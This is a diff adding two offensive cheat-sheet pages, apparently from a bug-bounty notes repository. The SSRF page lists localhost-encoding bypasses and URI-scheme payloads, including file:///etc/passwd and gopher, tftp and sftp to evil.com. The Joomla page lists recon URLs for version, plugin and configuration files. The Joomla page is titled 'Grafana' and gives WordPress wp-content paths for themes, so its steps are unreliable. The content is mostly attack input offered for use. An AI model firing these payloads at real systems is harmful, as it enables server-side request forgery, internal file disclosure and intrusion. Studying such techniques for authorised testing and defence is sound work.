28	+	http://127.0.0.1:1337
29	+	http://localhost:1337
30	+	```
31	+
32	+	2. Hex encoding
33	+	```
34	+	http://127.0.0.1 -> http://0x7f.0x0.0x0.0x1
35	+	```
36	+
37	+	3. Octal encoding
38	+	```
39	+	http://127.0.0.1 -> http://0177.0.0.01
40	+	```
41	+
42	+	4. Dword encoding
43	+	```
44	+	http://127.0.0.1 -> http://2130706433
45	+	```
46	+
47	+	5. Mixed encoding
48	+	```
49	+	http://127.0.0.1 -> http://0177.0.0.0x1
50	+	```
51	+
52	+	6. Using URL encoding
53	+	```
54	+	http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74
55	+	```
56	+
57	+	7. Using IPv6
58	+	```
59	+	http://0000::1:1337/
60	+	http://[::]:1337/
61	+	```
62	+
63	+	8. Using bubble text
64	+	```
65	+	http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
66	+
67	+	Use this https://capitalizemytitle.com/bubble-text-generator/
68	+	```
69	+
70	+	## How to exploit (URI Scheme)
71	+	1. File scheme
72	+	```
73	+	file:///etc/passwd
74	+	```
75	+
76	+	2. Dict scheme
77	+	```
78	+	dict://127.0.0.1:1337/
79	+	```
80	+
81	+	3. FTP scheme
82	+	```
83	+	ftp://127.0.0.1/
84	+	```
85	+
86	+	4. TFTP scheme
87	+	```
88	+	tftp://evil.com:1337/test
89	+	```
90	+
91	+	5. SFTP scheme
92	+	```
93	+	sftp://evil.com:1337/test
94	+	``
95	+
96	+	6. LDAP scheme
97	+	```
98	+	ldap://127.0.0.1:1337/
99	+	```
100	+
101	+	7. Gopher scheme
102	+	```
103	+	gopher://evil.com/_Test%0ASSRF
104	+	```
105	+	## References
106	+	* [Vickie Li](https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b)

■ ■ ■ ■ ■ ■

Technologies/Joomla.md

1	+	# Grafana
2	+
3	+	## Introduction
4	+	What would you do if you came across a website that uses Joomla ?
5	+
6	+	## How to Detect
7	+	Try to HTTP request to `https://example.com/` and if you see the source code, you will see something like this `<meta name="generator" content="Joomla! - Open Source Content Management" />`
8	+
9	+	1. Find the related CVE by checking the core, plugins, and theme version
10	+	* How to find the joomla version
11	+	```
12	+	https://target.com/administrator/manifests/files/joomla.xml
13	+	```
14	+
15	+	* How to find the joomla plugin version
16	+	```
17	+	https://target.com/administrator/components/com_NAMEPLUGIN/NAMEPLUGIN.xml
18	+
19	+	for example
20	+
21	+	https://target.com/administrator/components/com_contact/contact.xml
22	+	```
23	+
24	+	> or change NAMEPLUGIN.xml to `changelog.txt` or `readme.md` or `readme.txt`
25	+
26	+	* How to find the theme version
27	+	```
28	+	https://target.com/wp-content/themes/THEMENAME/style.css
29	+	https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file)
30	+	```
31	+	If you found outdated core / plugins, find the exploit at https://exploit-db.com
32	+
33	+	2. Joomla! Config Dist File
34	+	```
35	+	https://example.com/configuration.php-dist
36	+	```
37	+	3. Database File List
38	+	```
39	+	https://example.com/libraries/joomla/database/
40	+	```
41	+
42	+	## References
43	+	- [Exploit-db #6377](https://www.exploit-db.com/ghdb/6377)

Added Joomla and SSRF, and doing some major changes